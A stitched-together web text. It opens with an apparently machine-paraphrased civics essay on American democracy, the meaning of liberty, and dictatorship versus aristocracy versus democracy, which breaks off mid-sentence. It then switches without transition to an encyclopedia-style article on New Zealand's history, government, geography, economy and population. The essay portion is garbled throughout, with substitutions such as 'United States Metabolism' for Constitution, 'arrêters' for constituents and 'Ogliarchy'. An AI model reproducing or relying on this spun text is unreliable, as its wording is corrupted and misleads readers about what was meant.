However , it doesn’t really work like that. In fact, the majority can be not entirely represented, plus the oppressed fraction does not include its legal rights protected. It is because America now functions such as a Psuedo-Republican Ogliarchy. Elections happen to be decided by financial concerns, as are decisions made in workplace. The greatest some weakness of the American system, since the beginning, has become considered simply by thinkers such as Tocqueville to become its inclination towards tyranny of the bulk over the fraction. Strangely, they have shown the true weak spot to be the convenience by which many can be coerced into tyrannizing itself.
The machine was designed pertaining to small , on their own functioning declares, in which representatives could be typically known by their constituents in addition to which federal power was limited in order that all concerns could be recognized on a regional level simply by an honestly informed community. The creation of advertising and its prominence by the monetary giants with the new upper class changed this kind of dynamic. Today representatives happen to be largely known as “public” figures filtered and in many ways produced entirely by corporate multimedia. People generate decisions depending on information which is skewed, and elect associates who will be more dedicated to all their donors than their arrêters. Ignorance combines with dread to persuade the majority that they control their particular lives and decisions.
By simply playing almost all against the minority (with straw-man issues of race, abortion, sexuality, as well as welfare) the organization aristocracy will be able to convince them to waive their particular freedoms in substitution for the impression that they are managing negative aspects of culture. The majority tyrannizes the minority, when being by itself tyrannized by a smaller noble minority.
Since our system is dependent so intensely on the mass media, it is at risk of manipulation. Since it depends on the will of the bulk, it is at risk of over-reaction. Because it depends on the prosperous, it is susceptible to abuse. Yet the foundation can be strong.
The inspiration of the system is a deathless belief in the equality of rights protected by law, a solid libertarian emotion of independence of legal rights from interference of rules, and a belief inside the ability of folks to control their own lives. To the degree the particular beliefs can influence the system, it will remain strong. For the degree that these beliefs will be eclipsed by fear mongering of the media and the cash mongering of the corporations, the machine is weakened and damaging.
It just does not get any better than this, of course. It shouldn’t get better till citizens are willing to force this to be better, by taking responsibility as a vast majority for their decisions, and according to something other than the press and the company aristocracy. Set up current program has gone too far to be redeemed to that stage it hard to say.
2 . Our United States Metabolism guarantees the justification to “Life, freedom and the quest for happiness. inches What does this mean to you? Is it possible to have too much liberty?
I do certainly not believe it is easy for a region to allow for excessive freedom, nevertheless it may be feasible for an individual to permit themselves an excessive amount of freedom. However that is a meaning decision to get left for the individual’s notion. As for the country or express, there is no independence too wonderful to be available to the people save freedom which usually directly hinder the liberties and legal rights of one other. Freedom is the greatest expression of human lifestyle. Though it is hard to explain the importance of freedom, it has been realized by children, revolutionaries, and philosophers all over the place as that aspect of presence which makes the fullest growth of the human spirit likely.
To me, the right to life, liberty, and the pursuit of happiness means that each person out to have an undenied right to do whatever they will like -no matter how annoying or repulsive or perhaps unusual all those choices may possibly be- as long as their choices do not actively endanger or destroy the physical ethics and health of others, or perhaps violate their particular intrinsic privileges to integrity of real estate and person. Likewise no individual should be required to do any factor against their very own will, unless they have broken the sociable contract by first forcing their will about another and therefore violating their rights of personal and mental integrity. This really is freedom in its most basic contact form – the freedom to do and abstain from undertaking as the conscience sees fit.
This kind of freedom provides for the development of culture and the person. By enabling the uneasy and the strange to coexist with the daily, to allow for radical ideas and radical alterations, such liberty is the foundations of a expanding society. Even those things which usually seem odd may in time prove to be modern. Those things that might seem least productive to a good world may demonstrate most important to a free culture.
Of this kind of freedom, there cannot be too much. These freedoms need not expand to “corporations” or agencies, which are not human , nor have human rights – it would be good to demand action and refraint coming from action intended for such organizations. Individuals should be allowed to do as they you should, and to perform as they make sure you with their any money. However , if the organization extends to the point it is beyond merely a individual or individual business, then it appears more legitimate to restrict the actions with the organization by itself.
The idea that there could be “too much” freedom is merely suggested by those who tend not to truly appreciate freedom. Any kind of destruction of freedom, no matter how small , begins to erode the love of independence inherent in the people. By taking away their particular choices in small steps, they become accustomed to surrendering these people in significant measure. And so freedom has to be maintained faithfully in all matters, large and small.
Flexibility which is dependent upon the government’s permission to exist, instead of being acknowledged as superior to the us government, is inherently at risk. It has become increasingly popular in the ages since the foundation of America to impinge on tiny freedoms in favour of greater protection. However it appears true, looking over the course of history, those who sacrifice freedom intended for security end up having neither reliability nor independence. For protection must be reliability of items – of life, or of property – and it is freedom which protects this kind of things, more than anything else. Giving up the guardianship of your respective rights for the government causes it to be doubly most likely that they will end up being abridged, both by individuals who were formerly posing a threat and by the government by itself. To sacrifice freedom, which in turn protects rights, for reliability which is nothing more or less compared to the enjoyment of all those rights, is senseless.
several. Discuss the differences between a dictatorship, upper class and democracy, including benefits and drawbacks of each.
3 main types of government possess dictated the lives of people, through record, though generally there have naturally been various incarnations of those. These are dictatorship, aristocracy, and democracy.
Dictatorships are the prominence of a solitary individual over the people of a nation. These kinds of range in strength by a depotism in which that single individual has total power, into a more limited case in which the dictator must answer to the army or to powerful area owners, parents, or different forces. However , it is not considered to be a dictatorship, obviously, if the dictator (which may at the same time be called a full, emperor, or perhaps president) would not have the majority of the power consolidated within his hands.
A great aristocracy can be described as situation in which powerful land owners or perhaps other rich individuals include significant electricity, though they often answer to a leader of some type. The strength of control within this circumstance may vary among a |
New Zealand
Detail from a 1657 map showing the western coastline of "Nova Zeelandia". (In this map, north is at the bottom.)
The first European visitor to New Zealand, Dutch explorer Abel Tasman, named the islands Staten Land, believing they were part of the Staten Landt that Jacob Le Maire had sighted off the southern end of South America. Hendrik Brouwer proved that the South American land was a small island in 1643, and Dutch cartographers subsequently renamed Tasman's discovery Nova Zeelandia, from Latin, after the Dutch province of Zeeland. This name was later anglicised to "New Zealand".
Aotearoa (pronounced [aɔˈtɛaɾɔa] in Māori and /ˌtɛəˈr.ə/ in English; often translated as "land of the long white cloud") is the current Māori name for New Zealand. It is unknown whether Māori had a name for the whole country before the arrival of Europeans, with Aotearoa originally referring to just the North Island. Māori had several traditional names for the two main islands, including Te Ika-a-Māui (the fish of Māui) for the North Island and Te Waipounamu (the waters of greenstone) or Te Waka o Aoraki (the canoe of Aoraki) for the South Island. Early European maps labelled the islands North (North Island), Middle (South Island) and South (Stewart Island / Rakiura). In 1830, mapmakers began to use "North" and "South" on their maps to distinguish the two largest islands, and by 1907 this was the accepted norm. The New Zealand Geographic Board discovered in 2009 that the names of the North Island and South Island had never been formalised, and names and alternative names were formalised in 2013. This set the names as North Island or Te Ika-a-Māui, and South Island or Te Waipounamu. For each island, either its English or Māori name can be used, or both can be used together.
New Zealand is one of the last major landmasses settled by humans. Radiocarbon dating, evidence of deforestation and mitochondrial DNA variability within Māori populations suggest that Eastern Polynesians first settled the New Zealand archipelago between 1250 and 1300, although newer archaeological and genetic research points to a date no earlier than about 1280, with at least the main settlement period between about 1320 and 1350, consistent with evidence based on genealogical traditions. This represented a culmination in a long series of voyages through the Pacific islands. Over the centuries that followed, the Polynesian settlers developed a distinct culture now known as Māori. The population formed different iwi (tribes) and hapū (subtribes) which would sometimes cooperate, sometimes compete and sometimes fight against each other. At some point, a group of Māori migrated to Rēkohu, now known as the Chatham Islands, where they developed their distinct Moriori culture. The Moriori population was all but wiped out between 1835 and 1862, largely because of Taranaki Māori invasion and enslavement in the 1830s, although European diseases also contributed. In 1862 only 101 survived, and the last known full-blooded Moriori died in 1933.
An engraving of a sketched coastline on white background
In a hostile 1642 encounter, four of Dutch explorer Abel Tasman's crew members were killed, and at least one Māori was hit by canister shot. Europeans did not revisit New Zealand until 1769 when British explorer James Cook mapped almost the entire coastline. Following Cook, New Zealand was visited by numerous European and North American whaling, sealing and trading ships. They traded European food, metal tools, weapons and other goods for timber, Māori food, artefacts and water. The introduction of the potato and the musket transformed Māori agriculture and warfare. Potatoes provided a reliable food surplus, which enabled longer and more sustained military campaigns. The resulting intertribal Musket Wars encompassed over 600 battles between 1801 and 1840, killing 30,000–40,000 Māori. From the early 19th century, Christian missionaries began to settle New Zealand, eventually converting most of the Māori population. The Māori population declined to around 40% of its pre-contact level during the 19th century; introduced diseases were the major factor.
A torn sheet of paper
The Waitangi sheet from the Treaty of Waitangi
In 1788 Captain Arthur Phillip assumed the position of Governor of the new British colony of New South Wales which according to his commission included New Zealand. The British Government appointed James Busby as British Resident to New Zealand in 1832 following a petition from northern Māori. In 1835, following an announcement of impending French settlement by Charles de Thierry, the nebulous United Tribes of New Zealand sent a Declaration of Independence to King William IV of the United Kingdom asking for protection. Ongoing unrest, the proposed settlement of New Zealand by the New Zealand Company (which had already sent its first ship of surveyors to buy land from Māori) and the dubious legal standing of the Declaration of Independence prompted the Colonial Office to send Captain William Hobson to claim sovereignty for the United Kingdom and negotiate a treaty with the Māori. The Treaty of Waitangi was first signed in the Bay of Islands on 6 February 1840. In response to the New Zealand Company's attempts to establish an independent settlement in Wellington and French settlers purchasing land in Akaroa, Hobson declared British sovereignty over all of New Zealand on 21 May 1840, even though copies of the Treaty were still circulating throughout the country for Māori to sign. With the signing of the Treaty and declaration of sovereignty, the number of immigrants, particularly from the United Kingdom, began to increase.
Black and white engraving depicting a crowd of people
The colony gained a representative government in 1852, and the first Parliament met in 1854. In 1856 the colony effectively became self-governing, gaining responsibility over all domestic matters (except native policy, which was granted in the mid-1860s). Following concerns that the South Island might form a separate colony, premier Alfred Domett moved a resolution to transfer the capital from Auckland to a locality near Cook Strait. Wellington was chosen for its central location, with Parliament officially sitting there for the first time in 1865.
In 1891 the Liberal Party came to power as the first organised political party. The Liberal Government, led by Richard Seddon for most of its period in office, passed many important social and economic measures. In 1893 New Zealand was the first nation in the world to grant all women the right to vote and in 1894 pioneered the adoption of compulsory arbitration between employers and unions.
In 1907, at the request of the New Zealand Parliament, King Edward VII proclaimed New Zealand a Dominion within the British Empire, reflecting its self-governing status. In 1947 the country adopted the Statute of Westminster, confirming that the British Parliament could no longer legislate for New Zealand without the consent of New Zealand.
Early in the 20th century, New Zealand was involved in world affairs, fighting in the First and Second World Wars and suffering through the Great Depression. The depression led to the election of the First Labour Government and the establishment of a comprehensive welfare state and a protectionist economy. New Zealand experienced increasing prosperity following the Second World War, and Māori began to leave their traditional rural life and move to the cities in search of work. A Māori protest movement developed, which criticised Eurocentrism and worked for greater recognition of Māori culture and of the Treaty of Waitangi. In 1975, a Waitangi Tribunal was set up to investigate alleged breaches of the Treaty, and it was enabled to investigate historic grievances in 1985. The government has negotiated settlements of these grievances with many iwi, although Māori claims to the foreshore and seabed proved controversial in the 2000s.
Government and politics
The Queen wearing her New Zealand insignia
Elizabeth II, Queen of New Zealand
A smiling woman wearing a black dress
Jacinda Ardern, Prime Minister of New Zealand
New Zealand is a constitutional monarchy with a parliamentary democracy, although its constitution is not codified. Elizabeth II is the queen of New Zealand and thus the head of state. The queen is represented by the governor-general, whom she appoints on the advice of the prime minister. The governor-general can exercise the Crown's prerogative powers, such as reviewing cases of injustice and making appointments of ministers, ambassadors, and other key public officials, and in rare situations, the reserve powers (e.g. the power to dissolve parliament or refuse the royal assent of a bill into law). The powers of the monarch and the governor-general are limited by constitutional constraints, and they cannot normally be exercised without the advice of ministers.
The New Zealand Parliament holds legislative power and consists of the queen and the House of Representatives. It also included an upper house, the Legislative Council, until this was abolished in 1950. The supremacy of parliament over the Crown and other government institutions was established in England by the Bill of Rights 1689 and has been ratified as law in New Zealand. The House of Representatives is democratically elected, and a government is formed from the party or coalition with the majority of seats. If no majority is formed, a minority government can be formed if support from other parties during confidence and supply votes is assured. The governor-general appoints ministers under advice from the prime minister, who is by convention the parliamentary leader of the governing party or coalition. Cabinet, formed by ministers and led by the prime minister, is the highest policy-making body in government and responsible for deciding significant government actions. Members of Cabinet make major decisions collectively and are therefore collectively responsible for the consequences of these decisions.
A parliamentary general election must be called no later than three years after the previous election. Almost all general elections between 1853 and 1993 were held under the first-past-the-post voting system. Since the 1996 election, a form of proportional representation called mixed-member proportional (MMP) has been used. Under the MMP system, each person has two votes; one is for a candidate standing in the voter's electorate, and the other is for a party. Since the 2014 election, there have been 71 electorates (which include seven Māori electorates in which only Māori can optionally vote), and the remaining 49 of the 120 seats are assigned so that representation in parliament reflects the party vote, with the threshold that a party must win at least one electorate or 5% of the total party vote before it is eligible for a seat.
A block of buildings fronted by a large statue.
Elections since the 1930s have been dominated by two political parties, National and Labour. Between March 2005 and August 2006, New Zealand became the first country in the world in which all the highest offices in the land—head of state, governor-general, prime minister, speaker, and chief justice—were occupied simultaneously by women. The current prime minister is Jacinda Ardern, who has been in office since 26 October 2017. She is the country's third female prime minister.
New Zealand's judiciary, headed by the chief justice, includes the Supreme Court, Court of Appeal, the High Court, and subordinate courts. Judges and judicial officers are appointed non-politically and under strict rules regarding tenure to help maintain judicial independence. This theoretically allows the judiciary to interpret the law based solely on the legislation enacted by Parliament without other influences on their decisions.
New Zealand is identified as one of the world's most stable and well-governed states. As at 2017, the country was ranked fourth in the strength of its democratic institutions and first in government transparency and lack of corruption. A 2017 Human Rights Report by the U.S. Department of State noted that the government generally respected the rights of individuals, but voiced concerns regarding the social status of the Māori population. New Zealand ranks highly for civic participation in the political process, with 80% voter turnout during recent elections, compared to an OECD average of 68%.
Foreign relations and military
Māori Battalion haka in Egypt, 1941
In 1951 the United Kingdom became increasingly focused on its European interests, while New Zealand joined Australia and the United States in the ANZUS security treaty. The influence of the United States on New Zealand weakened following protests over the Vietnam War, the refusal of the United States to admonish France after the sinking of the Rainbow Warrior, disagreements over environmental and agricultural trade issues, and New Zealand's nuclear-free policy. Despite the United States' suspension of ANZUS obligations, the treaty remained in effect between New Zealand and Australia, whose foreign policy has followed a similar historical trend. Close political contact is maintained between the two countries, with free trade agreements and travel arrangements that allow citizens to visit, live and work in both countries without restrictions. In 2013 there were about 650,000 New Zealand citizens living in Australia, which is equivalent to 15% of the population of New Zealand.
A soldier in a green army uniform faces forwards
Anzac Day service at the National War Memorial
New Zealand has a strong presence among the Pacific Island countries. A large proportion of New Zealand's aid goes to these countries, and many Pacific people migrate to New Zealand for employment. Permanent migration is regulated under the 1970 Samoan Quota Scheme and the 2002 Pacific Access Category, which allow up to 1,100 Samoan nationals and up to 750 other Pacific Islanders respectively to become permanent New Zealand residents each year. A seasonal workers scheme for temporary migration was introduced in 2007, and in 2009 about 8,000 Pacific Islanders were employed under it. New Zealand is involved in the Pacific Islands Forum, the Pacific Community, Asia-Pacific Economic Cooperation, and the Association of Southeast Asian Nations Regional Forum (including the East Asia Summit). New Zealand has been described as an emerging power. The country is a member of the United Nations, the Commonwealth of Nations and the Organisation for Economic Co-operation and Development (OECD), and participates in the Five Power Defence Arrangements.
New Zealand's military services—the Defence Force—comprise the New Zealand Army, the Royal New Zealand Air Force, and the Royal New Zealand Navy. New Zealand's national defence needs are modest since a direct attack is unlikely. However, its military has had a global presence. The country fought in both world wars, with notable campaigns in Gallipoli, Crete, El Alamein, and Cassino. The Gallipoli campaign played an important part in fostering New Zealand's national identity and strengthened the ANZAC tradition it shares with Australia.
In addition to Vietnam and the two world wars, New Zealand fought in the Second Boer War, the Korean War, the Malayan Emergency, the Gulf War, and the Afghanistan War. It has contributed forces to several regional and global peacekeeping missions, such as those in Cyprus, Somalia, Bosnia and Herzegovina, the Sinai, Angola, Cambodia, the Iran–Iraq border, Bougainville, East Timor, and the Solomon Islands.
Local government and external territories
The early European settlers divided New Zealand into provinces, which had a degree of autonomy. Because of financial pressures and the desire to consolidate railways, education, land sales, and other policies, government was centralised and the provinces were abolished in 1876. The provinces are remembered in regional public holidays and sporting rivalries.
Since 1876, various councils have administered local areas under legislation determined by the central government. In 1989, the government reorganised local government into the current two-tier structure of regional councils and territorial authorities. The 249 municipalities that existed in 1975 have now been consolidated into 67 territorial authorities and 11 regional councils. The regional councils' role is to regulate "the natural environment with particular emphasis on resource management", while territorial authorities are responsible for sewage, water, local roads, building consents, and other local matters. Five of the territorial councils are unitary authorities and also act as regional councils. The territorial authorities consist of 13 city councils, 53 district councils, and the Chatham Islands Council. While officially the Chatham Islands Council is not a unitary authority, it undertakes many functions of a regional council.
The Realm of New Zealand, one of 16 Commonwealth realms, is the entire area over which the queen of New Zealand is sovereign and comprises New Zealand, Tokelau, the Ross Dependency, the Cook Islands, and Niue. The Cook Islands and Niue are self-governing states in free association with New Zealand. The New Zealand Parliament cannot pass legislation for these countries, but with their consent can act on behalf of them in foreign affairs and defence. Tokelau is classified as a non-self-governing territory but is administered by a council of three elders (one from each Tokelauan atoll). The Ross Dependency is New Zealand's territorial claim in Antarctica, where it operates the Scott Base research facility. New Zealand nationality law treats all parts of the realm equally, so most people born in New Zealand, the Cook Islands, Niue, Tokelau, and the Ross Dependency are New Zealand citizens.
Geography and environment
Islands of New Zealand as seen from satellite
A large mountain with a lake in the foreground
Snow-capped mountain range
The Southern Alps stretch for 500 kilometres down the South Island.
New Zealand is long and narrow—over 1,600 kilometres (990 mi) along its north-north-east axis with a maximum width of 400 kilometres (250 mi)—with about 15,000 km (9,300 mi) of coastline and a total land area of 268,000 square kilometres (103,500 sq mi). Because of its far-flung outlying islands and long coastline, the country has extensive marine resources. Its exclusive economic zone is one of the largest in the world, covering more than 15 times its land area.
The South Island is the largest landmass of New Zealand. It is divided along its length by the Southern Alps. There are 18 peaks over 3,000 metres (9,800 ft), the highest of which is Aoraki / Mount Cook at 3,724 metres (12,218 ft). Fiordland's steep mountains and deep fiords record the extensive ice age glaciation of this southwestern corner of the South Island. The North Island is less mountainous but is marked by volcanism. The highly active Taupo Volcanic Zone has formed a large volcanic plateau, punctuated by the North Island's highest mountain, Mount Ruapehu (2,797 metres (9,177 ft)). The plateau also hosts the country's largest lake, Lake Taupo, nestled in the caldera of one of the world's most active supervolcanoes.
The country owes its varied topography, and perhaps even its emergence above the waves, to the dynamic boundary it straddles between the Pacific and Indo-Australian Plates. New Zealand is part of Zealandia, a microcontinent nearly half the size of Australia that gradually submerged after breaking away from the Gondwanan supercontinent. About 25 million years ago, a shift in plate tectonic movements began to contort and crumple the region. This is now most evident in the Southern Alps, formed by compression of the crust beside the Alpine Fault. Elsewhere the plate boundary involves the subduction of one plate under the other, producing the Puysegur Trench to the south, the Hikurangi Trench east of the North Island, and the Kermadec and Tonga Trenches further north.
New Zealand is part of a region known as Australasia, together with Australia. It also forms the southwestern extremity of the geographic and ethnographic region called Polynesia. The term Oceania is often used to denote the wider region encompassing the Australian continent, New Zealand and various islands in the Pacific Ocean that are not included in the seven-continent model.
New Zealand's climate is predominantly temperate maritime (Köppen: Cfb), with mean annual temperatures ranging from 10 °C (50 °F) in the south to 16 °C (61 °F) in the north. Historical maxima and minima are 42.4 °C (108.32 °F) in Rangiora, Canterbury and −25.6 °C (−14.08 °F) in Ranfurly, Otago. Conditions vary sharply across regions from extremely wet on the West Coast of the South Island to semi-arid in Central Otago and the Mackenzie Basin of inland Canterbury, and subtropical in Northland. Of the seven largest cities, Christchurch is the driest, receiving on average only 640 millimetres (25 in) of rain per year and Wellington the wettest, receiving almost twice that amount. Auckland, Wellington and Christchurch all receive a yearly average of more than 2,000 hours of sunshine. The southern and southwestern parts of the South Island have a cooler and cloudier climate, with around 1,400–1,600 hours; the northern and northeastern parts of the South Island are the sunniest areas of the country and receive about 2,400–2,500 hours. The general snow season is early June until early October, though cold snaps can occur outside this season. Snowfall is common in the eastern and southern parts of the South Island and mountain areas across the country.
Kiwi amongst sticks
The endemic flightless kiwi is a national icon.
New Zealand's geographic isolation for 80 million years and island biogeography has influenced evolution of the country's species of animals, fungi and plants. Physical isolation has caused biological isolation, resulting in a dynamic evolutionary ecology with examples of distinctive plants and animals as well as populations of widespread species. About 82% of New Zealand's indigenous vascular plants are endemic, covering 1,944 species across 65 genera. The number of fungi recorded from New Zealand, including lichen-forming species, is not known, nor is the proportion of those fungi which are endemic, but one estimate suggests there are about 2,300 species of lichen-forming fungi in New Zealand and 40% of these are endemic. The two main types of forest are those dominated by broadleaf trees with emergent podocarps, or by southern beech in cooler climates. The remaining vegetation types consist of grasslands, the majority of which are tussock. New Zealand had a 2019 Forest Landscape Integrity Index mean score of 7.12/10, ranking it 55th globally out of 172 countries.
Before the arrival of humans, an estimated 80% of the land was covered in forest, with only high alpine, wet, infertile and volcanic areas without trees. Massive deforestation occurred after humans arrived, with around half the forest cover lost to fire after Polynesian settlement. Much of the remaining forest fell after European settlement, being logged or cleared to make room for pastoral farming, leaving forest occupying only 23% of the land.
An artist's rendition of a Haast's eagle attacking two moa
The forests were dominated by birds, and the lack of mammalian predators led to some like the kiwi, kakapo, weka and takahē evolving flightlessness. The arrival of humans, associated changes to habitat, and the introduction of rats, ferrets and other mammals led to the extinction of many bird species, including large birds like the moa and Haast's eagle.
Other indigenous animals are represented by reptiles (tuatara, skinks and geckos), frogs, spiders, insects (wētā) and snails. Some, such as the tuatara, are so unique that they have been called living fossils. Three species of bats (one since extinct) were the only sign of native land mammals in New Zealand until the 2006 discovery of bones from a unique, mouse-sized land mammal at least 16 million years old. Marine mammals, however, are abundant, with almost half the world's cetaceans (whales, dolphins, and porpoises) and large numbers of fur seals reported in New Zealand waters. Many seabirds breed in New Zealand, a third of them unique to the country. More penguin species are found in New Zealand than in any other country.
Waterfront along Auckland CBD, a major hub of economic activity
New Zealand has an advanced market economy, ranked 14th in the 2019 Human Development Index and third in the 2020 Index of Economic Freedom. It is a high-income economy with a nominal gross domestic product (GDP) per capita of US$36,254. The currency is the New Zealand dollar, informally known as the "Kiwi dollar"; it also circulates in the Cook Islands (see Cook Islands dollar), Niue, Tokelau, and the Pitcairn Islands.
Historically, extractive industries have contributed strongly to New Zealand's economy, focussing at different times on sealing, whaling, flax, gold, kauri gum, and native timber. The first shipment of refrigerated meat on the Dunedin in 1882 led to the establishment of meat and dairy exports to Britain, a trade which provided the basis for strong economic growth in New Zealand. High demand for agricultural products from the United Kingdom and the United States helped New Zealanders achieve higher living standards than both Australia and Western Europe in the 1950s and 1960s. In 1973, New Zealand's export market was reduced when the United Kingdom joined the European Economic Community and other compounding factors, such as the 1973 oil and 1979 energy crises, led to a severe economic depression. Living standards in New Zealand fell behind those of Australia and Western Europe, and by 1982 New Zealand had the lowest per-capita income of all the developed nations surveyed by the World Bank. In the mid-1980s New Zealand deregulated its agricultural sector by phasing out subsidies over a three-year period. Since 1984, successive governments engaged in major macroeconomic restructuring (known first as Rogernomics and then Ruthanasia), rapidly transforming New Zealand from a protected and highly regulated economy to a liberalised free-trade economy.
Blue water against a backdrop of snow-capped mountains
Milford Sound is one of New Zealand's most famous tourist destinations.
Unemployment peaked above 10% in 1991 and 1992, following the 1987 share market crash, but eventually fell to a record low (since 1986) of 3.7% in 2007 (ranking third from twenty-seven comparable OECD nations). However, the global financial crisis that followed had a major impact on New Zealand, with the GDP shrinking for five consecutive quarters, the longest recession in over thirty years, and unemployment rising back to 7% in late 2009. Unemployment rates for different age groups follow similar trends but are consistently higher among youth. In the December 2014 quarter, the general unemployment rate was around 5.8%, while the unemployment rate for youth aged 15 to 21 was 15.6%. New Zealand has experienced a series of "brain drains" since the 1970s that still continue today. Nearly one-quarter of highly skilled workers live overseas, mostly in Australia and Britain, which is the largest proportion from any developed nation. In recent decades, however, a "brain gain" has brought in educated professionals from Europe and less developed countries. Today New Zealand's economy benefits from a high level of innovation.
New Zealand is heavily dependent on international trade, particularly in agricultural products. Exports account for 24% of its output, making New Zealand vulnerable to international commodity prices and global economic slowdowns. Food products made up 55% of the value of all the country's exports in 2014; wood was the second largest earner (7%). New Zealand's main trading partners, as at June 2018, are China (NZ$27.8b), Australia ($26.2b), the European Union ($22.9b), the United States ($17.6b), and Japan ($8.4b). On 7 April 2008, New Zealand and China signed the New Zealand–China Free Trade Agreement, the first such agreement China has signed with a developed country. The service sector is the largest sector in the economy, followed by manufacturing and construction and then farming and raw material extraction. Tourism plays a significant role in the economy, contributing $12.9 billion (or 5.6%) to New Zealand's total GDP and supporting 7.5% of the total workforce in 2016. In 2017, international visitor arrivals were expected to increase at a rate of 5.4% annually up to 2022.
A Romney ewe with her two lambs
Wool has historically been one of New Zealand's major exports.
Wool was New Zealand's major agricultural export during the late 19th century. Even as late as the 1960s it made up over a third of all export revenues, but since then its price has steadily dropped relative to other commodities, and wool is no longer profitable for many farmers. In contrast, dairy farming increased, with the number of dairy cows doubling between 1990 and 2007, to become New Zealand's largest export earner. In the year to June 2018, dairy products accounted for 17.7% ($14.1 billion) of total exports, and the country's largest company, Fonterra, controls almost one-third of the international dairy trade. Other exports in 2017-18 were meat (8.8%), wood and wood products (6.2%), fruit (3.6%), machinery (2.2%) and wine (2.1%). New Zealand's wine industry has followed a similar trend to dairy, the number of vineyards doubling over the same period, overtaking wool exports for the first time in 2007.
New Zealand's transport network comprises 94,000 kilometres (58,410 mi) of roads, including 199 kilometres (124 mi) of motorways, and 4,128 kilometres (2,565 mi) of railway lines. Most major cities and towns are linked by bus services, although the private car is the predominant mode of transport. The railways were privatised in 1993 but were re-nationalised by the government in stages between 2004 and 2008. The state-owned enterprise KiwiRail now operates the railways, with the exception of commuter services in Auckland and Wellington, which are operated by Transdev and Metlink, respectively. Railways run the length of the country, although most lines now carry freight rather than passengers. The road and rail networks in the two main islands are linked by roll-on/roll-off ferries between Wellington and Picton, operated by Interislander (part of KiwiRail) and Bluebridge. Most international visitors arrive via air, and New Zealand has six international airports, but currently only the Auckland and Christchurch airports connect directly with countries other than Australia or Fiji.
The New Zealand Post Office had a monopoly over telecommunications in New Zealand until 1987 when Telecom New Zealand was formed, initially as a state-owned enterprise and then privatised in 1990. Chorus, which was split from Telecom (now Spark) in 2011, still owns the majority of the telecommunications infrastructure, but competition from other providers has increased. A large-scale rollout of gigabit-capable fibre to the premises, branded as Ultra-Fast Broadband, began in 2009 with a target of being available to 87% of the population by 2022. As of 2017, the United Nations International Telecommunication Union ranks New Zealand 13th in the development of information and communications infrastructure.
Science and technology
Early indigenous contribution to science in New Zealand was by Māori tohunga accumulating knowledge of agricultural practice and the effects of herbal remedies in the treatment of illness and disease. Cook's voyages in the 1700s and Darwin's in 1835 had important scientific botanical and zoological objectives. The establishment of universities in the 19th century fostered scientific discoveries by notable New Zealanders including Ernest Rutherford for splitting the atom, William Pickering for rocket science, Maurice Wilkins for helping discover DNA, Beatrice Tinsley for galaxy formation, Archibald McIndoe for plastic surgery, and Alan MacDiarmid for conducting polymers.
The 2018 New Zealand census enumerated a resident population of 4,699,755, an increase of 10.8% over the 2013 census figure. As of February 2021, the total population has risen to an estimated 5,119,170. New Zealand's population increased at a rate of 1.9% per year in the seven years ended June 2020. In September 2020 Statistics New Zealand reported that the population had climbed above 5 million people in September 2019, according to population estimates based on the 2018 census.
New Zealand is a predominantly urban country, with 84.1% of the population living in urban areas, and 51.4% of the population living in the seven cities with populations exceeding 100,000. Auckland, with over 1 million residents, is by far the largest city. New Zealand cities generally rank highly on international livability measures. For instance, in 2016, Auckland was ranked the world's third most liveable city and Wellington the twelfth by the Mercer Quality of Living Survey.
Life expectancy for New Zealanders in 2012 was 84 years for females, and 80.2 years for males. Life expectancy at birth is forecast to increase from 80 years to 85 years in 2050, and infant mortality is expected to decline. New Zealand's fertility rate of 2.1 is relatively high for a developed country, and natural births account for a significant proportion of population growth. Consequently, the country has a young population compared to most industrialised nations, with 20% of New Zealanders being 14 years old or younger. In 2018 the median age of the New Zealand population was 38.1 years. By 2050 the median age is projected to rise to 43 years and the percentage of people 60 years of age and older to rise from 18% to 29%. In 2008 the leading cause of premature death was cancer, at 29.8%, followed by ischaemic heart disease, 19.7%, and then cerebrovascular disease, 9.2%. As of 2016, total expenditure on health care (including private sector spending) is 9.2% of GDP.
Ethnicity and immigration
Pedestrians crossing a wide street which is flanked by storefronts
Pedestrians on Queen Street in Auckland, an ethnically diverse city
In the 2018 census, 71.8% of New Zealand residents identified ethnically as European or Pākehā, and 16.5% as native Māori. Other major ethnic groups include Asian (15.3%) and Pacific peoples (9.0%), two-thirds of whom live in the Auckland Region. The population has become more diverse in recent decades: in 1961, the census reported that the population of New Zealand was 92% European and 7% Māori, with Asian and Pacific minorities sharing the remaining 1%.
While the demonym for a New Zealand citizen is New Zealander, the informal "Kiwi" is commonly used both internationally and by locals. The Māori loanword Pākehā has been used to refer to New Zealanders of European descent, although some reject this name. The word Pākehā today is increasingly used to refer to all non-Polynesian New Zealanders.
The Māori were the first people to reach New Zealand, followed by the early European settlers. Following colonisation, immigrants were predominantly from Britain, Ireland and Australia because of restrictive policies similar to the White Australia policy. There was also significant Dutch, Dalmatian, German, and Italian immigration, together with indirect European immigration through Australia, North America, South America and South Africa. Net migration increased after the Second World War; in the 1970s and 1980s policies were relaxed, and immigration from Asia was promoted. In 2009–10, an annual target of 45,000–50,000 permanent residence approvals was set by the New Zealand Immigration Service—more than one new migrant for every 100 New Zealand residents. In the 2018 census, 27.4% of people counted were not born in New Zealand, up from 25.2% in the 2013 census. Over half (52.4%) of New Zealand's overseas-born population lives in the Auckland Region. The United Kingdom remains the largest source of New Zealand's immigrant population, with around a quarter of all overseas-born New Zealanders born there; other major sources of New Zealand's overseas-born population are China, India, Australia, South Africa, Fiji and Samoa. The number of fee-paying international students increased sharply in the late 1990s, with more than 20,000 studying in public tertiary institutions in 2002.
Speakers of Māori according to the 2013 census
Less than 5%
More than 5%
More than 10%
More than 20%
More than 30%
More than 40%
More than 50%
After the Second World War, Māori were discouraged from speaking their own language (te reo Māori) in schools and workplaces, and it existed as a community language only in a few remote areas. It has recently undergone a process of revitalisation, being declared one of New Zealand's official languages in 1987, and is spoken by 4.0% of the population. There are now Māori language immersion schools and two television channels that broadcast predominantly in Māori. Many places have both their Māori and English names officially recognised.
As recorded in the 2018 census, Samoan is the most widely spoken non-official language (2.2%), followed by "Northern Chinese" (including Mandarin, 2.0%), Hindi (1.5%), and French (1.2%). 22,986 people (0.5%) reported the ability to use New Zealand Sign Language, which became one of New Zealand's official languages in 2006.
Simple white building with two red domed towers
